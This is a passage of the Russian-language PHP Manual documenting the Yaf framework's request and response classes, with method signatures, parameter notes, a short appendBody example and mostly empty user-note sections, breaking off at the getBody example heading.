  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом

User Contributed Notes

oreaking at gmail dot com 25-Sep-2014 02:16
That means the request method is ajax or not .


Устанавливает имя действия

  • « Yaf_Request_Abstract::isXmlHttpRequest
  • Yaf_Request_Abstract::setBaseUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • Устанавливает имя действия

Yaf_Request_Abstract::setActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setActionName — Устанавливает имя действия

Описание

public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void

Устанавливает имя действия для запроса, обычно используется настраиваемым маршрутизатором для установки имени контроллера результата маршрута.

Список параметров

action

string, имя действия, должно быть указано в нижнем регистре, например, "index" или "foo_bar"

format_name

Добавлено в Yaf 3.2.0, по умолчанию Yaf отформатирует имя в нижнем регистре, если для этого параметра установлено значение false, Yaf установит оригинальное имя для запроса.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает базовый URI

  • « Yaf_Request_Abstract::setActionName
  • Yaf_Request_Abstract::setControllerName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Устанавливает базовый URI

Yaf_Request_Abstract::setBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::setBaseUri — Устанавливает базовый URI

Описание

public Yaf_Request_Abstract::setBaseUri(string $uir): bool

Устанавливает базовый URI, базовый URI используется при выполнении маршрутизации, в фазе маршрутизации URI запроса используется для маршрутизации запроса, а базовый URI используется для пропуска ведущей части (базового URI) URI запроса. То есть, если приходит запрос с URI запроса a/b/c, то если вы установите базовый URI на "a/b", на этапе маршрутизации будет использоваться только "/c".

Замечание:

Как правило, вам не нужно его устанавливать, Yaf определит автоматически.

Список параметров

uir

Базовый URI

Возвращаемые значения

Возвращает логическое значение (boolean)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя контроллера

  • « Yaf_Request_Abstract::setBaseUri
  • Yaf_Request_Abstract::setDispatched »
  • PHP Manual
  • Yaf_Request_Abstract
  • Устанавливает имя контроллера

Yaf_Request_Abstract::setControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setControllerName — Устанавливает имя контроллера

Описание

public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void

Устанавливает имя контроллера для запроса, обычно используется настраиваемым маршрутизатором для установки имени контроллера результата маршрута.

Список параметров

controller

string, имя контроллера, должно быть в CamelCase, например, "Index" или "Foo_Bar"

format_name

Добавлено в Yaf 3.2.0, по умолчанию Yaf отформатирует имя в CamelCase, если для него установлено значение false, Yaf установит оригинальное имя для запроса.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение setDispatched

  • « Yaf_Request_Abstract::setControllerName
  • Yaf_Request_Abstract::setModuleName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение setDispatched

Yaf_Request_Abstract::setDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::setDispatched — Назначение setDispatched

Описание

public Yaf_Request_Abstract::setDispatched(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя модуля

  • « Yaf_Request_Abstract::setDispatched
  • Yaf_Request_Abstract::setParam »
  • PHP Manual
  • Yaf_Request_Abstract
  • Устанавливает имя модуля

Yaf_Request_Abstract::setModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setModuleName — Устанавливает имя модуля

Описание

public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void

Устанавливает имя модуля для запроса, обычно используется настраиваемым маршрутизатором для установки имени модуля результата маршрута.

Список параметров

module

string имя модуля, должно быть в CamelCase, например, "Index" или "Foo_Bar"

format_name

Добавлено в Yaf 3.2.0, по умолчанию Yaf отформатирует имя в CamelCase, если для него установлено значение false, Yaf установит оригинальное имя для запроса.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр вызова для запроса

  • « Yaf_Request_Abstract::setModuleName
  • Yaf_Request_Abstract::setRequestUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • Устанавливает параметр вызова для запроса

Yaf_Request_Abstract::setParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::setParam — Устанавливает параметр вызова для запроса

Описание

public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool

Устанавливает параметр для запроса, который может быть получен с помощью Yaf_Request_Abstract::getParam()

Список параметров

name

value

Возвращаемые значения

Смотрите также

  • Yaf_Request_Abstract::getParam() - Получает параметр вызова
  • Yaf_Request_Abstract::getParams() - Получает все параметры вызова

User Contributed Notes

There are no user contributed notes for this page.


Назначение setRequestUri

  • « Yaf_Request_Abstract::setParam
  • Yaf_Request_Abstract::setRouted »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение setRequestUri

Yaf_Request_Abstract::setRequestUri

(Yaf >=2.1.0)

Yaf_Request_Abstract::setRequestUri — Назначение setRequestUri

Описание

public Yaf_Request_Abstract::setRequestUri(string $uir): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

uir

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение setRouted

  • « Yaf_Request_Abstract::setRequestUri
  • Yaf_Request_Http »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение setRouted

Yaf_Request_Abstract::setRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::setRouted — Назначение setRouted

Описание

public Yaf_Request_Abstract::setRouted(string $flag = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

flag

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Request_Http

(Yaf >=1.0.0)

Введение

Любой запрос от клиента инициализируется как Yaf_Request_Http. Вы можете получить информацию о запросе, например, URI и параметры запроса, используя методы этого класса.

Замечание:

В целях безопасности $_GET/$_POST доступны только для чтения в Yaf, что означает, что если вы установите значение для этих глобальных переменных, вы не сможете получить их с помощью Yaf_Request_Http::getQuery() или Yaf_Request_Http::getPost().

Если возникает необходимость использования такого функционала при модульном тестировании, Yaf может быть собран с помощью --enable-yaf-debug, который позволит Yaf прочитать значение, заданное пользователем через скрипт.

В этом случае Yaf выдаст предупреждение E_STRICT, чтобы напомнить вам об этом: Strict Standards: you are running yaf in debug mode

Обзор классов

class Yaf_Request_Http extends Yaf_Request_Abstract {
/* Свойства */
/* Методы */
public __construct(string $request_uri = ?, string $base_uri = ?)
public get(string $name, string $default = ?): mixed
public getCookie(string $name, string $default = ?): mixed
public getFiles(): void
public getPost(string $name, string $default = ?): mixed
public getQuery(string $name, string $default = ?): mixed
public getRaw(): mixed
public getRequest(): void
public isXmlHttpRequest(): bool
/* Наследуемые методы */
public Yaf_Request_Abstract::clearParams(): bool
public Yaf_Request_Abstract::getActionName(): void
public Yaf_Request_Abstract::getBaseUri(): void
public Yaf_Request_Abstract::getControllerName(): void
public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void
public Yaf_Request_Abstract::getException(): void
public Yaf_Request_Abstract::getLanguage(): void
public Yaf_Request_Abstract::getMethod(): string
public Yaf_Request_Abstract::getModuleName(): void
public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed
public Yaf_Request_Abstract::getParams(): array
public Yaf_Request_Abstract::getRequestUri(): void
public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void
public Yaf_Request_Abstract::isCli(): bool
public Yaf_Request_Abstract::isDispatched(): bool
public Yaf_Request_Abstract::isGet(): bool
public Yaf_Request_Abstract::isHead(): bool
public Yaf_Request_Abstract::isOptions(): bool
public Yaf_Request_Abstract::isPost(): bool
public Yaf_Request_Abstract::isPut(): bool
public Yaf_Request_Abstract::isRouted(): bool
public Yaf_Request_Abstract::isXmlHttpRequest(): bool
public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void
public Yaf_Request_Abstract::setBaseUri(string $uir): bool
public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void
public Yaf_Request_Abstract::setDispatched(): void
public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void
public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool
public Yaf_Request_Abstract::setRequestUri(string $uir): void
public Yaf_Request_Abstract::setRouted(string $flag = ?): void
}

Свойства

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Содержание

  • Yaf_Request_Http::__construct — Конструктор класса Yaf_Request_Http
  • Yaf_Request_Http::get — Получает переменную от клиента
  • Yaf_Request_Http::getCookie — Получает переменную Cookie
  • Yaf_Request_Http::getFiles — Назначение getFiles
  • Yaf_Request_Http::getPost — Получает переменную POST
  • Yaf_Request_Http::getQuery — Получает параметр запроса
  • Yaf_Request_Http::getRaw — Получает необработанное тело запроса
  • Yaf_Request_Http::getRequest — Назначение getRequest
  • Yaf_Request_Http::isXmlHttpRequest — Определяет, является ли запрос Ajax-запросом

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Request_Http

  • « Yaf_Request_Http
  • Yaf_Request_Http::get »
  • PHP Manual
  • Yaf_Request_Http
  • Конструктор класса Yaf_Request_Http

Yaf_Request_Http::__construct

(Yaf >=1.0.0)

Yaf_Request_Http::__construct — Конструктор класса Yaf_Request_Http

Описание

public Yaf_Request_Http::__construct(string $request_uri = ?, string $base_uri = ?)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную от клиента

  • « Yaf_Request_Http::__construct
  • Yaf_Request_Http::getCookie »
  • PHP Manual
  • Yaf_Request_Http
  • Получает переменную от клиента

Yaf_Request_Http::get

(Yaf >=1.0.0)

Yaf_Request_Http::get — Получает переменную от клиента

Описание

public Yaf_Request_Http::get(string $name, string $default = ?): mixed

Получает переменную от клиента, метод будет искать name в параметрах запроса, если имя не найдено, то будет искать в POST, GET, Cookie, Server

Список параметров

name

Имя переменной

default

Если параметр указан, он будет возвращён, в случае если переменная не найдена

Возвращаемые значения

Смотрите также

  • Yaf_Request_Http::getQuery() - Получает параметр запроса
  • Yaf_Request_Http::getPost() - Получает переменную POST
  • Yaf_Request_Http::getCookie() - Получает переменную Cookie
  • Yaf_Request_Http::getRaw() - Получает необработанное тело запроса
  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную Cookie

  • « Yaf_Request_Http::get
  • Yaf_Request_Http::getFiles »
  • PHP Manual
  • Yaf_Request_Http
  • Получает переменную Cookie

Yaf_Request_Http::getCookie

(Yaf >=1.0.0)

Yaf_Request_Http::getCookie — Получает переменную Cookie

Описание

public Yaf_Request_Http::getCookie(string $name, string $default = ?): mixed

Получает переменную Cookie

Список параметров

name

Имя Cookie

default

Если параметр указан, он будет возвращён, в случае если переменная не найдена

Возвращаемые значения

Смотрите также

  • Yaf_Request_Http::get() - Получает переменную от клиента
  • Yaf_Request_Http::getQuery() - Получает параметр запроса
  • Yaf_Request_Http::getPost() - Получает переменную POST
  • Yaf_Request_Http::getRaw() - Получает необработанное тело запроса
  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Назначение getFiles

  • « Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getPost »
  • PHP Manual
  • Yaf_Request_Http
  • Назначение getFiles

Yaf_Request_Http::getFiles

(Yaf >=1.0.0)

Yaf_Request_Http::getFiles — Назначение getFiles

Описание

public Yaf_Request_Http::getFiles(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную POST

  • « Yaf_Request_Http::getFiles
  • Yaf_Request_Http::getQuery »
  • PHP Manual
  • Yaf_Request_Http
  • Получает переменную POST

Yaf_Request_Http::getPost

(Yaf >=1.0.0)

Yaf_Request_Http::getPost — Получает переменную POST

Описание

public Yaf_Request_Http::getPost(string $name, string $default = ?): mixed

Получает переменную POST

Список параметров

name

Имя переменной

default

Если параметр указан, он будет возвращён, в случае если переменная не найдена

Возвращаемые значения

Смотрите также

  • Yaf_Request_Http::get() - Получает переменную от клиента
  • Yaf_Request_Http::getQuery() - Получает параметр запроса
  • Yaf_Request_Http::getCookie() - Получает переменную Cookie
  • Yaf_Request_Http::getRaw() - Получает необработанное тело запроса
  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Получает параметр запроса

  • « Yaf_Request_Http::getPost
  • Yaf_Request_Http::getRaw »
  • PHP Manual
  • Yaf_Request_Http
  • Получает параметр запроса

Yaf_Request_Http::getQuery

(Yaf >=1.0.0)

Yaf_Request_Http::getQuery — Получает параметр запроса

Описание

public Yaf_Request_Http::getQuery(string $name, string $default = ?): mixed

Получает переменную GET

Список параметров

name

Имя переменной

default

Если параметр указан, он будет возвращён, в случае если переменная не найдена

Возвращаемые значения

Смотрите также

  • Yaf_Request_Http::get() - Получает переменную от клиента
  • Yaf_Request_Http::getPost() - Получает переменную POST
  • Yaf_Request_Http::getCookie() - Получает переменную Cookie
  • Yaf_Request_Http::getRaw() - Получает необработанное тело запроса
  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Получает необработанное тело запроса

  • « Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getRequest »
  • PHP Manual
  • Yaf_Request_Http
  • Получает необработанное тело запроса

Yaf_Request_Http::getRaw

(Yaf >=3.0.7)

Yaf_Request_Http::getRaw — Получает необработанное тело запроса

Описание

public Yaf_Request_Http::getRaw(): mixed

Получает необработанное тело запроса

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения, FALSE в случае возникновения ошибки.

Смотрите также

  • Yaf_Request_Http::get() - Получает переменную от клиента
  • Yaf_Request_Http::getPost() - Получает переменную POST
  • Yaf_Request_Http::getCookie() - Получает переменную Cookie
  • Yaf_Request_Http::getQuery() - Получает параметр запроса
  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Назначение getRequest

  • « Yaf_Request_Http::getRaw
  • Yaf_Request_Http::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Http
  • Назначение getRequest

Yaf_Request_Http::getRequest

(Yaf >=1.0.0)

Yaf_Request_Http::getRequest — Назначение getRequest

Описание

public Yaf_Request_Http::getRequest(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос Ajax-запросом

  • « Yaf_Request_Http::getRequest
  • Yaf_Request_Simple »
  • PHP Manual
  • Yaf_Request_Http
  • Определяет, является ли запрос Ajax-запросом

Yaf_Request_Http::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Http::isXmlHttpRequest — Определяет, является ли запрос Ajax-запросом

Описание

public Yaf_Request_Http::isXmlHttpRequest(): bool

Проверяет запрос, является ли он запросом Ajax.

Замечание:

Метод зависит от заголовка запроса: HTTP_X_REQUESTED_WITH, некоторые библиотеки Javascript не устанавливают этот заголовок при выполнении запроса Ajax

Список параметров

У этой функции нет параметров.

Возвращаемые значения

boolean

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Request_Simple

(Yaf >=1.0.0)

Введение

Yaf_Request_Simple обычно используется в целях тестирования. Например, для эмуляции специальных запросов из режима CLI.

Обзор классов

class Yaf_Request_Simple extends Yaf_Request_Abstract {
/* Константы */
const string SCHEME_HTTP = http;
const string SCHEME_HTTPS = https;
/* Свойства */
/* Методы */
public __construct(
string $method = ?,
string $module = ?,
string $controller = ?,
string $action = ?,
array $params = ?
)
public get(): void
public getCookie(): void
public getFiles(): void
public getPost(): void
public getQuery(): void
public getRequest(): void
public isXmlHttpRequest(): void
/* Наследуемые методы */
public Yaf_Request_Abstract::clearParams(): bool
public Yaf_Request_Abstract::getActionName(): void
public Yaf_Request_Abstract::getBaseUri(): void
public Yaf_Request_Abstract::getControllerName(): void
public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void
public Yaf_Request_Abstract::getException(): void
public Yaf_Request_Abstract::getLanguage(): void
public Yaf_Request_Abstract::getMethod(): string
public Yaf_Request_Abstract::getModuleName(): void
public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed
public Yaf_Request_Abstract::getParams(): array
public Yaf_Request_Abstract::getRequestUri(): void
public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void
public Yaf_Request_Abstract::isCli(): bool
public Yaf_Request_Abstract::isDispatched(): bool
public Yaf_Request_Abstract::isGet(): bool
public Yaf_Request_Abstract::isHead(): bool
public Yaf_Request_Abstract::isOptions(): bool
public Yaf_Request_Abstract::isPost(): bool
public Yaf_Request_Abstract::isPut(): bool
public Yaf_Request_Abstract::isRouted(): bool
public Yaf_Request_Abstract::isXmlHttpRequest(): bool
public Yaf_Request_Abstract::setActionName(string $action, bool $format_name = true): void
public Yaf_Request_Abstract::setBaseUri(string $uir): bool
public Yaf_Request_Abstract::setControllerName(string $controller, bool $format_name = true): void
public Yaf_Request_Abstract::setDispatched(): void
public Yaf_Request_Abstract::setModuleName(string $module, bool $format_name = true): void
public Yaf_Request_Abstract::setParam(string $name, string $value = ?): bool
public Yaf_Request_Abstract::setRequestUri(string $uir): void
public Yaf_Request_Abstract::setRouted(string $flag = ?): void
}

Свойства

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Предопределённые константы

Yaf_Request_Simple::SCHEME_HTTP

Yaf_Request_Simple::SCHEME_HTTPS

Содержание

  • Yaf_Request_Simple::__construct — Конструктор класса Yaf_Request_Simple
  • Yaf_Request_Simple::get — Назначение get
  • Yaf_Request_Simple::getCookie — Назначение getCookie
  • Yaf_Request_Simple::getFiles — Назначение getFiles
  • Yaf_Request_Simple::getPost — Назначение getPost
  • Yaf_Request_Simple::getQuery — Назначение getQuery
  • Yaf_Request_Simple::getRequest — Назначение getRequest
  • Yaf_Request_Simple::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Request_Simple

  • « Yaf_Request_Simple
  • Yaf_Request_Simple::get »
  • PHP Manual
  • Yaf_Request_Simple
  • Конструктор класса Yaf_Request_Simple

Yaf_Request_Simple::__construct

(Yaf >=1.0.0)

Yaf_Request_Simple::__construct — Конструктор класса Yaf_Request_Simple

Описание

public Yaf_Request_Simple::__construct(
string $method = ?,
string $module = ?,
string $controller = ?,
string $action = ?,
array $params = ?
)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение get

  • « Yaf_Request_Simple::__construct
  • Yaf_Request_Simple::getCookie »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение get

Yaf_Request_Simple::get

(Yaf >=1.0.0)

Yaf_Request_Simple::get — Назначение get

Описание

public Yaf_Request_Simple::get(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getCookie

  • « Yaf_Request_Simple::get
  • Yaf_Request_Simple::getFiles »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение getCookie

Yaf_Request_Simple::getCookie

(Yaf >=1.0.0)

Yaf_Request_Simple::getCookie — Назначение getCookie

Описание

public Yaf_Request_Simple::getCookie(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getFiles

  • « Yaf_Request_Simple::getCookie
  • Yaf_Request_Simple::getPost »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение getFiles

Yaf_Request_Simple::getFiles

(Yaf >=1.0.0)

Yaf_Request_Simple::getFiles — Назначение getFiles

Описание

public Yaf_Request_Simple::getFiles(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getPost

  • « Yaf_Request_Simple::getFiles
  • Yaf_Request_Simple::getQuery »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение getPost

Yaf_Request_Simple::getPost

(Yaf >=1.0.0)

Yaf_Request_Simple::getPost — Назначение getPost

Описание

public Yaf_Request_Simple::getPost(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getQuery

  • « Yaf_Request_Simple::getPost
  • Yaf_Request_Simple::getRequest »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение getQuery

Yaf_Request_Simple::getQuery

(Yaf >=1.0.0)

Yaf_Request_Simple::getQuery — Назначение getQuery

Описание

public Yaf_Request_Simple::getQuery(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getRequest

  • « Yaf_Request_Simple::getQuery
  • Yaf_Request_Simple::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Simple
  • Назначение getRequest

Yaf_Request_Simple::getRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::getRequest — Назначение getRequest

Описание

public Yaf_Request_Simple::getRequest(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос AJAX-запросом

  • « Yaf_Request_Simple::getRequest
  • Yaf_Response_Abstract »
  • PHP Manual
  • Yaf_Request_Simple
  • Определяет, является ли запрос AJAX-запросом

Yaf_Request_Simple::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом

Описание

public Yaf_Request_Simple::isXmlHttpRequest(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает false для Yaf_Request_Simple

Смотрите также

  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом
  • Yaf_Request_Http::isXmlHTTPRequest() - Определяет, является ли запрос Ajax-запросом

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Response_Abstract

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Response_Abstract {
/* Константы */
const string DEFAULT_BODY = "content";
/* Свойства */
protected $_header;
protected $_body;
protected $_sendheader;
/* Методы */
public __construct()
public appendBody(string $content, string $key = ?): bool
public clearBody(string $key = ?): bool
public clearHeaders(): void
public getBody(string $key = ?): mixed
public getHeader(): void
public prependBody(string $content, string $key = ?): bool
public response(): void
protected setAllHeaders(): void
public setBody(string $content, string $key = ?): bool
public setHeader(string $name, string $value, bool $replace = ?): bool
public setRedirect(string $url): bool
private __toString(): string
public __destruct()
}

Свойства

_header

_body

_sendheader

Содержание

  • Yaf_Response_Abstract::appendBody — Добавляет содержимое к телу ответа
  • Yaf_Response_Abstract::clearBody — Сбрасывает все существующее тело ответа
  • Yaf_Response_Abstract::clearHeaders — Сбрасывает все установленные заголовки
  • Yaf_Response_Abstract::__construct — Конструктор класса Yaf_Response_Abstract
  • Yaf_Response_Abstract::__destruct — Деструктор класса Yaf_Response_Abstract
  • Yaf_Response_Abstract::getBody — Получает существующее содержимое
  • Yaf_Response_Abstract::getHeader — Назначение getHeader
  • Yaf_Response_Abstract::prependBody — Назначение prependBody
  • Yaf_Response_Abstract::response — Отправляет ответ
  • Yaf_Response_Abstract::setAllHeaders — Назначение setAllHeaders
  • Yaf_Response_Abstract::setBody — Устанавливает содержимое ответа
  • Yaf_Response_Abstract::setHeader — Устанавливает заголовок ответа
  • Yaf_Response_Abstract::setRedirect — Назначение setRedirect
  • Yaf_Response_Abstract::__toString — Получает все тело в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Добавляет содержимое к телу ответа

  • « Yaf_Response_Abstract
  • Yaf_Response_Abstract::clearBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • Добавляет содержимое к телу ответа

Yaf_Response_Abstract::appendBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::appendBody — Добавляет содержимое к телу ответа

Описание

public Yaf_Response_Abstract::appendBody(string $content, string $key = ?): bool

Добавляет содержимое в существующий блок содержимого

Список параметров

body

Строка содержимого

key

Ключ контента, вы можете установить контент с ключом, если вы не укажете, то будет использоваться Yaf_Response_Abstract::DEFAULT_BODY

Замечание:

Параметр добавлен с 2.2.0

Возвращаемые значения

bool

Примеры

Пример #1 Пример использования Yaf_Response_Abstract::appendBody()

<?php
$response = new Yaf_Response_Http();

$response->setBody("Привет")->prependBody(", Мир");

echo $response;
?>

Результатом выполнения данного примера будет что-то подобное:

Привет, Мир

Смотрите также

  • Yaf_Config_Ini
  • Yaf_Response_Abstract::getBody() - Получает существующее содержимое
  • Yaf_Response_Abstract::setBody() - Устанавливает содержимое ответа
  • Yaf_Response_Abstract::prependBody() - Назначение prependBody
  • Yaf_Response_Abstract::clearBody() - Сбрасывает все существующее тело ответа

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает все существующее тело ответа

  • « Yaf_Response_Abstract::appendBody
  • Yaf_Response_Abstract::clearHeaders »
  • PHP Manual
  • Yaf_Response_Abstract
  • Сбрасывает все существующее тело ответа

Yaf_Response_Abstract::clearBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearBody — Сбрасывает все существующее тело ответа

Описание

public Yaf_Response_Abstract::clearBody(string $key = ?): bool

Очищает существующее содержимое

Список параметров

key

Ключ содержимого, если вы не укажете, будет очищено все содержимое.

Замечание:

Параметр был добавлен с 2.2.0

Возвращаемые значения

Смотрите также

  • Yaf_Response_Abstract::setBody() - Устанавливает содержимое ответа
  • Yaf_Response_Abstract::appendBody() - Добавляет содержимое к телу ответа
  • Yaf_Response_Abstract::prependBody() - Назначение prependBody
  • Yaf_Response_Abstract::getBody() - Получает существующее содержимое

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает все установленные заголовки

  • « Yaf_Response_Abstract::clearBody
  • Yaf_Response_Abstract::__construct »
  • PHP Manual
  • Yaf_Response_Abstract
  • Сбрасывает все установленные заголовки

Yaf_Response_Abstract::clearHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearHeaders — Сбрасывает все установленные заголовки

Описание

public Yaf_Response_Abstract::clearHeaders(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Response_Abstract::getHeader() - Назначение getHeader
  • Yaf_Response_Abstract::setHeader() - Устанавливает заголовок ответа

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Response_Abstract

  • « Yaf_Response_Abstract::clearHeaders
  • Yaf_Response_Abstract::__destruct »
  • PHP Manual
  • Yaf_Response_Abstract
  • Конструктор класса Yaf_Response_Abstract

Yaf_Response_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__construct — Конструктор класса Yaf_Response_Abstract

Описание

public Yaf_Response_Abstract::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Деструктор класса Yaf_Response_Abstract

  • « Yaf_Response_Abstract::__construct
  • Yaf_Response_Abstract::getBody »
  • PHP Manual
  • Yaf_Response_Abstract
  • Деструктор класса Yaf_Response_Abstract

Yaf_Response_Abstract::__destruct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__destruct — Деструктор класса Yaf_Response_Abstract

Описание

public Yaf_Response_Abstract::__destruct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает существующее содержимое

  • « Yaf_Response_Abstract::__destruct
  • Yaf_Response_Abstract::getHeader »
  • PHP Manual
  • Yaf_Response_Abstract
  • Получает существующее содержимое

Yaf_Response_Abstract::getBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::getBody — Получает существующее содержимое

Описание

public Yaf_Response_Abstract::getBody(string $key = ?): mixed

Получает существующее содержимое

Список параметров

key

Ключ содержимого, если вы не укажете, то будет использоваться Yaf_Response_Abstract::DEFAULT_BODY. Если вы передадите null, тогда все содержимое будет возвращено как массив

Замечание:

Параметр был добавлен с 2.2.0

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Response_Abstract::getBody()

